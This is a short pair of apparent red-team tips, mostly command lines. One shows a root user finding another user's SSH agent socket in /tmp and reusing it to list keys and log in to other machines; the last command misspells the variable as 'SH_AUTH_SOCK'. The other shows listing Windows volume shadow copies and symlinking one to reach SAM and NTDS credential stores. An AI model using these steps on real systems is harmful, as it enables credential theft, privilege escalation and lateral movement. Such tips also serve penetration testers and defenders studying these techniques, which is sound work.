Red Teamers: SSH caches keys of ongoing sessions in /tmp; root user can hijack them and SSH to any machine the user can access.

ps aux | grep ssh
ls -lah /tmp
SSH_AUTH_SOCK=/tmp/ssh-<..>/agent.<pid> ssh-add -l
SH_AUTH_SOCK=/tmp/ssh-<..>/agent.<pid> ssh user@target

Red Teamers: Volume shadow copies are backups of parts (or all) of the Windows filesystem. Accessing can be easy privesc (SAM, NTDS, etc.)

1. List shadows
vssadmin list shadows

2. Symlink for access
mklink /d c:\shadow \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\